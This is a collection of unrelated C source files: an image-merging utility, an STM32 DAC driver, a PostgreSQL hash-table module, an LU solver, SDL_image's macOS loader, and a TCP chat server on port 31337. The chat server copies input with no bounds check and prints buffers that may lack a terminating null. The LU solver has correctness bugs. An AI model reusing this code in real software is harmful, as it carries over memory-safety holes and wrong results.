i<alt;i++){ for(j=0;j<larg;j++){ fscanf(image, "%d", &G[i][j].gray ); } } // fim imagem 1 // inicio imagem 2 // entrada image2 = fopen("B.pgm", "r"); if(image2 == NULL) { printf("Erro na abertura do arquivo \n"); return 0; } //key fscanf(image2, "%s", _key); if(strcmp(key, "P2") != 0){ printf("Arquivo n e PGM\n");//checa se esta em P3 printf("%s\n",_key ); fclose(image2); return 0; } //header fscanf(image2, "%d %d\n%d\n", &_alt, &_larg, &_max);//le o cabeçario printf("larg =%d alt=%d key=%s max=%d\n",_larg, _alt, _key,_max );//printa na tela os valores lidos pixel **G2 =(pixel**)malloc(alt*sizeof(pixel*)); for(i=0;i<alt;i++){ G2[i] = (pixel*)malloc(larg*sizeof(pixel)); } //lê as infos da matriz original for(i=0; i<alt;i++){ for(j=0;j<larg;j++){ fscanf(image2, "%d", &G2[i][j].gray ); } } //grava header / dados fprintf(newImage, "P2\n%d %d\n%d\n",alt,larg,max); for(i=0;i<alt;i++){ for(j=0;j<larg; j++){ if (G[i][j].gray || G2[i][j].gray) // || { fprintf(newImage, "%d ", 255); } else { fprintf(newImage, "%d ", 0); } // fprintf(newImage, "%d ", G[i][j].gray); // aqui vai ser a manipualão do pixel local } fprintf(newImage, "\n"); } //fim fclose(image); fclose(newImage); return 0; }
the_stack_data/50136640.c
#include<stdio.h> #include <math.h> int main() { double b=25.0; double a=0.0; a = log(10); printf("a is %lf, b is %lf\n",a,b); return 0; }
the_stack_data/115764780.c
/** ****************************************************************************** * @file stm32f1xx_ll_dac.c * @author MCD Application Team * @brief DAC LL module driver ****************************************************************************** * @attention * * <h2><center>&copy; Copyright (c) 2016 STMicroelectronics. * All rights reserved.</center></h2> * * This software component is licensed by ST under BSD 3-Clause license, * the "License"; You may not use this file except in compliance with the * License. You may obtain a copy of the License at: * opensource.org/licenses/BSD-3-Clause * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32f1xx_ll_dac.h" #include "stm32f1xx_ll_bus.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32F1xx_LL_Driver * @{ */ #if defined(DAC) /** @addtogroup DAC_LL DAC * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /* Private macros ------------------------------------------------------------*/ /** @addtogroup DAC_LL_Private_Macros * @{ */ #define IS_LL_DAC_CHANNEL(__DAC_CHANNEL__) \ ( \ ((__DAC_CHANNEL__) == LL_DAC_CHANNEL_1) \ || ((__DAC_CHANNEL__) == LL_DAC_CHANNEL_2) \ ) #define IS_LL_DAC_TRIGGER_SOURCE(__TRIGGER_SOURCE__) \ ( ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_SOFTWARE) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM3_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM15_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM2_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM4_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM5_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM6_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM7_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_TIM8_TRGO) \ || ((__TRIGGER_SOURCE__) == LL_DAC_TRIG_EXT_EXTI_LINE9) \ ) #define IS_LL_DAC_WAVE_AUTO_GENER_MODE(__WAVE_AUTO_GENERATION_MODE__) \ ( ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NONE) \ || ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NOISE) \ || ((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_TRIANGLE) \ ) #define IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(__WAVE_AUTO_GENERATION_MODE__, __WAVE_AUTO_GENERATION_CONFIG__) \ ( (((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_NOISE) \ && ( ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BIT0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS1_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS2_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS3_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS4_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS5_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS6_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS7_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS8_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS9_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS10_0) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_NOISE_LFSR_UNMASK_BITS11_0)) \ ) \ ||(((__WAVE_AUTO_GENERATION_MODE__) == LL_DAC_WAVE_AUTO_GENERATION_TRIANGLE) \ && ( ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_3) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_7) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_15) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_31) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_63) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_127) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_255) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_511) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_1023) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_2047) \ || ((__WAVE_AUTO_GENERATION_CONFIG__) == LL_DAC_TRIANGLE_AMPLITUDE_4095)) \ ) \ ) #define IS_LL_DAC_OUTPUT_BUFFER(__OUTPUT_BUFFER__) \ ( ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_ENABLE) \ || ((__OUTPUT_BUFFER__) == LL_DAC_OUTPUT_BUFFER_DISABLE) \ ) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup DAC_LL_Exported_Functions * @{ */ /** @addtogroup DAC_LL_EF_Init * @{ */ /** * @brief De-initialize registers of the selected DAC instance * to their default reset values. * @param DACx DAC instance * @retval An ErrorStatus enumeration value: * - SUCCESS: DAC registers are de-initialized * - ERROR: not applicable */ ErrorStatus LL_DAC_DeInit(DAC_TypeDef *DACx) { /* Check the parameters */ assert_param(IS_DAC_ALL_INSTANCE(DACx)); /* Force reset of DAC clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_DAC1); /* Release reset of DAC clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_DAC1); return SUCCESS; } /** * @brief Initialize some features of DAC channel. * @note @ref LL_DAC_Init() aims to ease basic configuration of a DAC channel. * Leaving it ready to be enabled and output: * a level by calling one of * @ref LL_DAC_ConvertData12RightAligned * @ref LL_DAC_ConvertData12LeftAligned * @ref LL_DAC_ConvertData8RightAligned * or one of the supported autogenerated wave. * @note This function allows configuration of: * - Output mode * - Trigger * - Wave generation * @note The setting of these parameters by function @ref LL_DAC_Init() * is conditioned to DAC state: * DAC channel must be disabled. * @param DACx DAC instance * @param DAC_Channel This parameter can be one of the following values: * @arg @ref LL_DAC_CHANNEL_1 * @arg @ref LL_DAC_CHANNEL_2 * @param DAC_InitStruct Pointer to a @ref LL_DAC_InitTypeDef structure * @retval An ErrorStatus enumeration value: * - SUCCESS: DAC registers are initialized * - ERROR: DAC registers are not initialized */ ErrorStatus LL_DAC_Init(DAC_TypeDef *DACx, uint32_t DAC_Channel, LL_DAC_InitTypeDef *DAC_InitStruct) { ErrorStatus status = SUCCESS; /* Check the parameters */ assert_param(IS_DAC_ALL_INSTANCE(DACx)); assert_param(IS_LL_DAC_CHANNEL(DAC_Channel)); assert_param(IS_LL_DAC_TRIGGER_SOURCE(DAC_InitStruct->TriggerSource)); assert_param(IS_LL_DAC_OUTPUT_BUFFER(DAC_InitStruct->OutputBuffer)); assert_param(IS_LL_DAC_WAVE_AUTO_GENER_MODE(DAC_InitStruct->WaveAutoGeneration)); if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE) { assert_param(IS_LL_DAC_WAVE_AUTO_GENER_CONFIG(DAC_InitStruct->WaveAutoGeneration, DAC_InitStruct->WaveAutoGenerationConfig)); } /* Note: Hardware constraint (refer to description of this function) */ /* DAC instance must be disabled. */ if (LL_DAC_IsEnabled(DACx, DAC_Channel) == 0U) { /* Configuration of DAC channel: */ /* - TriggerSource */ /* - WaveAutoGeneration */ /* - OutputBuffer */ /* - OutputMode */ if (DAC_InitStruct->WaveAutoGeneration != LL_DAC_WAVE_AUTO_GENERATION_NONE) { MODIFY_REG(DACx->CR, (DAC_CR_TSEL1 | DAC_CR_WAVE1 | DAC_CR_MAMP1 | DAC_CR_BOFF1 ) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK) , (DAC_InitStruct->TriggerSource | DAC_InitStruct->WaveAutoGeneration | DAC_InitStruct->WaveAutoGenerationConfig | DAC_InitStruct->OutputBuffer ) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK) ); } else { MODIFY_REG(DACx->CR, (DAC_CR_TSEL1 | DAC_CR_WAVE1 | DAC_CR_BOFF1 ) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK) , (DAC_InitStruct->TriggerSource | LL_DAC_WAVE_AUTO_GENERATION_NONE | DAC_InitStruct->OutputBuffer ) << (DAC_Channel & DAC_CR_CHX_BITOFFSET_MASK) ); } } else { /* Initialization error: DAC instance is not disabled. */ status = ERROR; } return status; } /** * @brief Set each @ref LL_DAC_InitTypeDef field to default value. * @param DAC_InitStruct pointer to a @ref LL_DAC_InitTypeDef structure * whose fields will be set to default values. * @retval None */ void LL_DAC_StructInit(LL_DAC_InitTypeDef *DAC_InitStruct) { /* Set DAC_InitStruct fields to default values */ DAC_InitStruct->TriggerSource = LL_DAC_TRIG_SOFTWARE; DAC_InitStruct->WaveAutoGeneration = LL_DAC_WAVE_AUTO_GENERATION_NONE; /* Note: Parameter discarded if wave auto generation is disabled, */ /* set anyway to its default value. */ DAC_InitStruct->WaveAutoGenerationConfig = LL_DAC_NOISE_LFSR_UNMASK_BIT0; DAC_InitStruct->OutputBuffer = LL_DAC_OUTPUT_BUFFER_ENABLE; } /** * @} */ /** * @} */ /** * @} */ #endif /* DAC */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/103915.c
#include <stdio.h> #include <netdb.h> #include <netinet/in.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <string.h> #define MAX 8000 #define PORT 31337 // Function designed for chat between client and server. void func(int sockfd) { char buff[MAX]; int n; // infinite loop for chat for (;;) { bzero(buff, sizeof(buff)); // read the message from client and copy it in buffer read(sockfd, buff, sizeof(buff)); // print buffer which contains the client contents printf("From client: %s\t To client : ", buff); bzero(buff, sizeof(buff)); n = 0; // copy server message in the buffer while ((buff[n++] = getchar()) != '\n'); // and send that buffer to client write(sockfd, buff, sizeof(buff)); // if msg contains "Exit" then server exit and chat ended. if (strncmp("exit", buff, 4) == 0) { printf("Server Exit...\n"); break; } } } int main(){ int sockfd, connfd; unsigned int len; struct sockaddr_in servaddr, cli; // socket create and verification sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd == -1) { printf("socket creation failed...\n"); exit(0); } else printf("Socket successfully created..\n"); bzero(&servaddr, sizeof(servaddr)); // assign IP, PORT servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(PORT); // Binding newly created socket to given IP and verification if ((bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr))) != 0) { printf("socket bind failed...\n"); exit(0); } else printf("Socket successfully binded..\n"); // Now server is ready to listen and verification if ((listen(sockfd, 64)) != 0) { printf("Listen failed...\n"); exit(0); } else printf("Server listening..\n"); len = sizeof(cli); while (1) { // Accept the data packet from client and verification // Always listening to the port, but blocking mechanism connfd = accept(sockfd, (struct sockaddr *)&cli, &len); if (connfd < 0) { printf("server acccept failed...\n"); exit(0); } else printf("server acccept the client...\n"); // Function for chatting between client and server func(connfd); } // After chatting close the socket close(sockfd); return 0; }
the_stack_data/107953051.c
/*------------------------------------------------------------------------- * * vchain_hash.c * * hash table implementation for managing head/tail of version chain for * each tuple using its primary key * * Portions Copyright (c) 1996-2019, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * * IDENTIFICATION * src/backend/storage/vcluster/vchain_hash.c * *------------------------------------------------------------------------- */ #ifdef HYU_LLT #include "postgres.h" #include "storage/lwlock.h" #include "storage/shmem.h" #include "storage/vchain_hash.h" #include "utils/hsearch.h" /* entry for version chain lookup hashtable */ typedef struct { /* Primary key, assume we only use 64 bit integer at this time */ VChainTag key; /* * dsa_pointer of the chain. * In the chain (vlocator), prev field indicates the tail node, and * next field indicates the head node. */ dsa_pointer dsap_chain; } VChainLookupEnt; static HTAB *SharedVChainHash; /* * VChainHashShmemSize * * compute the size of shared memory for vchain_hash */ Size VChainHashShmemSize(int size) { return hash_estimate_size(size, sizeof(VChainLookupEnt)); } /* * VChainHashInit * * Initialize vchain_hash in shared memory */ void VChainHashInit(int size) { HASHCTL info; /* * Primary key maps to version chain * * Important: sizeof(VChainTag) is 16, but actual size we are using is 12. * (PrimaryKey + Oid). So we need to put the keysize with actual size. */ info.keysize = sizeof(Oid) + sizeof(PrimaryKey); info.entrysize = sizeof(VChainLookupEnt); info.num_partitions = NUM_VCHAIN_PARTITIONS; SharedVChainHash = ShmemInitHash("Shared VChain Lookup Table", size, size, &info, HASH_ELEM | HASH_BLOBS | HASH_PARTITION); } /* * VChainHashCode * * Compute the hash code associated with a primary key * This must be passed to the lookup/insert/delete routines along with the * tag. We do it like this because the callers need to know the hash code * in order to determine which buffer partition to lock, and we don't want * to do the hash computation twice (hash_any is a bit slow). */ uint32 VChainHashCode(const VChainTag *tagPtr) { return get_hash_value(SharedVChainHash, (void *) tagPtr); } /* * VChainHashLookup * * Lookup the given primary key; set ret to vlocator(head/tail) of the vchain * and returns true if found. set ret to NULL and returns false if not found. * Caller must hold at least share lock on VChainMappingLock for tag's partition */ bool VChainHashLookup(const VChainTag *tagPtr, uint32 hashcode, dsa_pointer *ret) { VChainLookupEnt *result; result = (VChainLookupEnt *) hash_search_with_hash_value(SharedVChainHash, (void *) tagPtr, hashcode, HASH_FIND, NULL); if (!result) { *ret = 0; return false; } *ret = result->dsap_chain; return true; } /* * VChainHashInsert * * Insert a hashtable entry for given primary key and head/tail of the chain, * unless an entry already exists for that key. * New hash table entry will always be intialized so that the * caller should insert the first version of the chain itself. * * Returns true and sets ret to dsa_pointer of new entry on success. * If a conflicting entry exists already, sets ret to dsa_pointer of * existing entry and returns false. * * Caller must hold exclusive lock on VChainMappingLock for tag's partition */ bool VChainHashInsert(const VChainTag *tagPtr, uint32 hashcode, dsa_pointer *ret) { VChainLookupEnt *result; bool found; dsa_pointer dsap_new_locator; VLocator *new_locator; result = (VChainLookupEnt *) hash_search_with_hash_value(SharedVChainHash, (void *) tagPtr, hashcode, HASH_ENTER, &found); if (found) { /* found something already in the table */ *ret = result->dsap_chain; return false; } /* Allocatate a new dummy vlocator for the chain */ dsap_new_locator = dsa_allocate_extended( dsa_vcluster, sizeof(VLocator), DSA_ALLOC_ZERO); /* Initialize the new dummy node */ new_locator = (VLocator *)dsa_get_address(dsa_vcluster, dsap_new_locator); new_locator->dsap = dsap_new_locator; /* Initial dummy node has a self cycle */ new_locator->dsap_prev = dsap_new_locator; new_locator->dsap_next = dsap_new_locator; /* Link the chain from the hash entry */ result->dsap_chain = dsap_new_locator; *ret = result->dsap_chain; return true; } /* * VChainHashDelete * * Delete the hashtable entry for given primary key (which must exist) * * Caller must hold exclusive lock on VChainMappingLock for pkey's partition */ void VChainHashDelete(const VChainTag *tagPtr, uint32 hashcode) { VChainLookupEnt *result; result = (VChainLookupEnt *) hash_search_with_hash_value(SharedVChainHash, (void *) tagPtr, hashcode, HASH_REMOVE, NULL); if (!result) /* shouldn't happen */ elog(ERROR, "shared vchain hash table corrupted"); /* Release dummy node */ dsa_free(dsa_vcluster, result->dsap_chain); } #endif /* HYU_LLT */
the_stack_data/45228.c
#include <stdlib.h> #include <stdio.h> #define N 10 //solve ly=B float *descente(float l[N][N], float B[N], int n) { float *x; x = malloc(sizeof(float) * n); x[0]=B[0]/l[0][0]; for(int i=1; i<n; i++){ float sum=0; for(int j=0; j<=i-1;j++){ sum+=l[i][j]*x[j]; } x[i]=(B[i]-sum)/l[i][i]; } return (x); } //solve ux=y float *remontee(float u[N][N], float y[N], int n) { float *x; x = malloc(sizeof(float) * n); /******Implement the solution here******/ x[n-1]=y[n-1]/u[n-1][n-1]; for(int i=n-2;i>=0;i--){ float sum=0; for(int j=i;j<n;j++){ sum+=u[i][j]*x[j]; } x[i]=(y[i]-sum)/u[i][i]; } return x; } float *lu(float a[N][N], float B[N], int n) { /******Implement the solution here******/ /***************************************/ float u[N][N]; float l[N][N]; float *y; float *x; for(int i=0;i<n; i++){ for(int j=0;j<n;j++){ if(i==j) l[i][j]=1; } } for(int i=0;i<n;i++){ u[0][i]=a[0][i]; } for(int k=0;k<n-1; k++){ for(int i=k+1;i<n;i++){ l[i][k]=a[i][k]/a[k][k]; for(int j=k+1; j<n; j++){ a[i][j]=a[i][j]-l[i][k]*a[k][j]; if(i<=j) u[i][j]=a[i][j]; } } y=descente(l, B, n); x=remontee(u, y, n); } /***************************************/ return (x); } int main() { float A[N][N], B[N]; float *x; int n; printf("Enter the size of the matrix: "); scanf("%d", &n); /* Filling the matrix A */ printf("Filling the matrix A\n"); for(int i = 0; i < n; i++) { for(int j = 0; j < n; j++) { printf("A[%d][%d] = ", i, j); scanf("%f", &A[i][j]); } } /* Filling the vector B*/ printf("Filling the matrix B\n"); for (int i = 0; i < n; i++) { printf("B[%d] = ", i); scanf("%f", &B[i]); } /* The calculation of the result */ x = lu(A, B, n); /* Printing the results */ printf("\nThe resulting vector: ["); for (int i = 0; i < n; i++) printf("%f%c", x[i], ",]"[i == n - 1]); }
the_stack_data/642092.c
/* * IMG_ImageIO.c * SDL_image * * Created by Eric Wing on 1/1/09. * Copyright 2009 __MyCompanyName__. All rights reserved. * */ #if defined(__APPLE__) && !defined(SDL_IMAGE_USE_COMMON_BACKEND) #include "SDL_image.h" // For ImageIO framework and also LaunchServices framework (for UTIs) #include <ApplicationServices/ApplicationServices.h> // Used because CGDataProviderCreate became deprecated in 10.5 #include <AvailabilityMacros.h> /************************************************************** ***** Begin Callback functions for block reading ************* **************************************************************/ // This callback reads some bytes from an SDL_rwops and copies it // to a Quartz buffer (supplied by Apple framework). static size_t MyProviderGetBytesCallback(void* rwops_userdata, void* quartz_buffer, size_t the_count) { return (size_t)SDL_RWread((struct SDL_RWops *)rwops_userdata, quartz_buffer, 1, the_count); } // This callback is triggered when the data provider is released // so you can clean up any resources. static void MyProviderReleaseInfoCallback(void* rwops_userdata) { // What should I put here? // I think the user and SDL_RWops controls closing, so I don't do anything. } static void MyProviderRewindCallback(void* rwops_userdata) { SDL_RWseek((struct SDL_RWops *)rwops_userdata, 0, RW_SEEK_SET); } #if MAC_OS_X_VERSION_MAX_ALLOWED >= 1050 // CGDataProviderCreateSequential was introduced in 10.5; CGDataProviderCreate is deprecated off_t MyProviderSkipForwardBytesCallback(void* rwops_userdata, off_t the_count) { off_t start_position = SDL_RWtell((struct SDL_RWops *)rwops_userdata); SDL_RWseek((struct SDL_RWops *)rwops_userdata, the_count, RW_SEEK_CUR); off_t end_position = SDL_RWtell((struct SDL_RWops *)rwops_userdata); return (end_position - start_position); } #else // CGDataProviderCreate was deprecated in 10.5 static void MyProviderSkipBytesCallback(void* rwops_userdata, size_t the_count) { SDL_RWseek((struct SDL_RWops *)rwops_userdata, the_count, RW_SEEK_CUR); } #endif /************************************************************** ***** End Callback functions for block reading *************** **************************************************************/ // This creates a CGImageSourceRef which is a handle to an image that can be used to examine information // about the image or load the actual image data. static CGImageSourceRef CreateCGImageSourceFromRWops(SDL_RWops* rw_ops, CFDictionaryRef hints_and_options) { CGImageSourceRef source_ref; // Similar to SDL_RWops, Apple has their own callbacks for dealing with data streams. #if MAC_OS_X_VERSION_MAX_ALLOWED >= 1050 // CGDataProviderCreateSequential was introduced in 10.5; CGDataProviderCreate is deprecated CGDataProviderSequentialCallbacks provider_callbacks = { 0, MyProviderGetBytesCallback, MyProviderSkipForwardBytesCallback, MyProviderRewindCallback, MyProviderReleaseInfoCallback }; CGDataProviderRef data_provider = CGDataProviderCreateSequential(rw_ops, &provider_callbacks); #else // CGDataProviderCreate was deprecated in 10.5 CGDataProviderCallbacks provider_callbacks = { MyProviderGetBytesCallback, MyProviderSkipBytesCallback, MyProviderRewindCallback, MyProviderReleaseInfoCallback }; CGDataProviderRef data_provider = CGDataProviderCreate(rw_ops, &provider_callbacks); #endif // Get the CGImageSourceRef. // The dictionary can be NULL or contain hints to help ImageIO figure out the image type. source_ref = CGImageSourceCreateWithDataProvider(data_provider, hints_and_options); return source_ref; } /* Create a CGImageSourceRef from a file. */ /* Remember to CFRelease the created source when done. */ static CGImageSourceRef CreateCGImageSourceFromFile(const char* the_path) { CFURLRef the_url = NULL; CGImageSourceRef source_ref = NULL; CFStringRef cf_string = NULL; /* Create a CFString from a C string */ cf_string = CFStringCreateWithCString( NULL, the_path, kCFStringEncodingUTF8 ); if(!cf_string) { return NULL; } /* Create a CFURL from a CFString */ the_url = CFURLCreateWithFileSystemPath( NULL, cf_string, kCFURLPOSIXPathStyle, false ); /* Don't need the CFString any more (error or not) */ CFRelease(cf_string); if(!the_url) { return NULL; } source_ref = CGImageSourceCreateWithURL(the_url, NULL); /* Don't need the URL any more (error or not) */ CFRelease(the_url); return source_ref; } static CGImageRef CreateCGImageFromCGImageSource(CGImageSourceRef image_source) { CGImageRef image_ref = NULL; if(NULL == image_source) { return NULL; } // Get the first item in the image source (some image formats may // contain multiple items). image_ref = CGImageSourceCreateImageAtIndex(image_source, 0, NULL); if(NULL == image_ref) { IMG_SetError("CGImageSourceCreateImageAtIndex() failed"); } return image_ref; } static CFDictionaryRef CreateHintDictionary(CFStringRef uti_string_hint) { CFDictionaryRef hint_dictionary = NULL; if(uti_string_hint != NULL) { // Do a bunch of work to setup a CFDictionary containing the jpeg compression properties. CFStringRef the_keys[1]; CFStringRef the_values[1]; the_keys[0] = kCGImageSourceTypeIdentifierHint; the_values[0] = uti_string_hint; // kCFTypeDictionaryKeyCallBacks or kCFCopyStringDictionaryKeyCallBacks? hint_dictionary = CFDictionaryCreate(NULL, (const void**)&the_keys, (const void**)&the_values, 1, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); } return hint_dictionary; } static int Internal_isType(SDL_RWops* rw_ops, CFStringRef uti_string_to_test) { CGImageSourceRef image_source; CFStringRef uti_type; Boolean is_type; CFDictionaryRef hint_dictionary = NULL; hint_dictionary = CreateHintDictionary(uti_string_to_test); image_source = CreateCGImageSourceFromRWops(rw_ops, hint_dictionary); if(hint_dictionary != NULL) { CFRelease(hint_dictionary); } if(NULL == image_source) { return 0; } // This will get the UTI of the container, not the image itself. // Under most cases, this won't be a problem. // But if a person passes an icon file which contains a bmp, // the format will be of the icon file. // But I think the main SDL_image codebase has this same problem so I'm not going to worry about it. uti_type = CGImageSourceGetType(image_source); // CFShow(uti_type); // Unsure if we really want conformance or equality is_type = UTTypeConformsTo(uti_string_to_test, uti_type); CFRelease(image_source); return (int)is_type; } // Once we have our image, we need to get it into an SDL_Surface static SDL_Surface* Create_SDL_Surface_From_CGImage(CGImageRef image_ref) { /* This code is adapted from Apple's Documentation found here: * http://developer.apple.com/documentation/GraphicsImaging/Conceptual/OpenGL-MacProgGuide/index.html * Listing 9-4††Using a Quartz image as a texture source. * Unfortunately, this guide doesn't show what to do about * non-RGBA image formats so I'm making the rest up. * All this code should be scrutinized. */ size_t w = CGImageGetWidth(image_ref); size_t h = CGImageGetHeight(image_ref); CGRect rect = {{0, 0}, {w, h}}; CGImageAlphaInfo alpha = CGImageGetAlphaInfo(image_ref); //size_t bits_per_pixel = CGImageGetBitsPerPixel(image_ref); size_t bits_per_component = 8; SDL_Surface* surface; Uint32 Amask; Uint32 Rmask; Uint32 Gmask; Uint32 Bmask; CGContextRef bitmap_context; CGBitmapInfo bitmap_info; CGColorSpaceRef color_space = CGColorSpaceCreateDeviceRGB(); if (alpha == kCGImageAlphaNone || alpha == kCGImageAlphaNoneSkipFirst || alpha == kCGImageAlphaNoneSkipLast) { bitmap_info = kCGImageAlphaNoneSkipFirst | kCGBitmapByteOrder32Host; /* XRGB */ Amask = 0x00000000; } else { /* kCGImageAlphaFirst isn't supported */ //bitmap_info = kCGImageAlphaFirst | kCGBitmapByteOrder32Host; /* ARGB */ bitmap_info = kCGImageAlphaPremultipliedFirst | kCGBitmapByteOrder32Host; /* ARGB */ Amask = 0xFF000000; } Rmask = 0x00FF0000; Gmask = 0x0000FF00; Bmask = 0x000000FF; surface = SDL_CreateRGBSurface(SDL_SWSURFACE, w, h, 32, Rmask, Gmask, Bmask, Amask); if (surface) { // Sets up a context to be drawn to with surface->pixels as the area to be drawn to bitmap_context = CGBitmapContextCreate( surface->pixels, surface->w, surface->h, bits_per_component, surface->pitch, color_space, bitmap_info ); // Draws the image into the context's image_data CGContextDrawImage(bitmap_context, rect, image_ref); CGContextRelease(bitmap_context); // FIXME: Reverse the premultiplied alpha if ((bitmap_info & kCGBitmapAlphaInfoMask) == kCGImageAlphaPremultipliedFirst) { int i, j; Uint8 *p = (Uint8 *)surface->pixels; for (i = surface->h * surface->pitch/4; i--; ) { #if __LITTLE_ENDIAN__ Uint8 A = p[3]; if (A) { for (j = 0; j < 3; ++j) { p[j] = (p[j] * 255) / A; } } #else Uint8 A = p[0]; if (A) { for (j = 1; j < 4; ++j) { p[j] = (p[j] * 255) / A; } } #endif /* ENDIAN */ p += 4; } } } if (color_space) { CGColorSpaceRelease(color_space); } return surface; } static SDL_Surface* LoadImageFromRWops(SDL_RWops* rw_ops, CFStringRef uti_string_hint) { SDL_Surface* sdl_surface; CGImageSourceRef image_source; CGImageRef image_ref = NULL; CFDictionaryRef hint_dictionary = NULL; hint_dictionary = CreateHintDictionary(uti_string_hint); image_source = CreateCGImageSourceFromRWops(rw_ops, hint_dictionary); if(hint_dictionary != NULL) { CFRelease(hint_dictionary); } if(NULL == image_source) { return NULL; } image_ref = CreateCGImageFromCGImageSource(image_source); CFRelease(image_source); if(NULL == image_ref) { return NULL; } sdl_surface = Create_SDL_Surface_From_CGImage(image_ref); CFRelease(image_ref); return sdl_surface; } static SDL_Surface* LoadImageFromFile(const char* file) { SDL_Surface* sdl_surface = NULL; CGImageSourceRef image_source = NULL; CGImageRef image_ref = NULL; // First ImageIO image_source = CreateCGImageSourceFromFile(file); if(NULL == image_source) { return NULL; } image_ref = CreateCGImageFromCGImageSource(image_source); CFRelease(image_source); if(NULL == image_ref) { return NULL; } sdl_surface = Create_SDL_Surface_From_CGImage(image_ref); CFRelease(image_ref); return sdl_surface; } int IMG_InitJPG() { return 0; } void IMG_QuitJPG() { } int IMG_InitPNG() { return 0; } void IMG_QuitPNG() { } int IMG_InitTIF() { return 0; } void IMG_QuitTIF() { } int IMG_isCUR(SDL_RWops *src) { /* FIXME: Is this a supported type? */ return Internal_isType(src, CFSTR("com.microsoft.cur")); } int IMG_isICO(SDL_RWops *src) { return Internal_isType(src, kUTTypeICO); } int IMG_isBMP(SDL_RWops *src) { return Internal_isType(src, kUTTypeBMP); } int IMG_isGIF(SDL_RWops *src) { return Internal_isType(src, kUTTypeGIF); } // Note: JPEG 2000 is kUTTypeJPEG2000 int IMG_isJPG(SDL_RWops *src) { return Internal_isType(src, kUTTypeJPEG); } int IMG_isPNG(SDL_RWops *src) { return 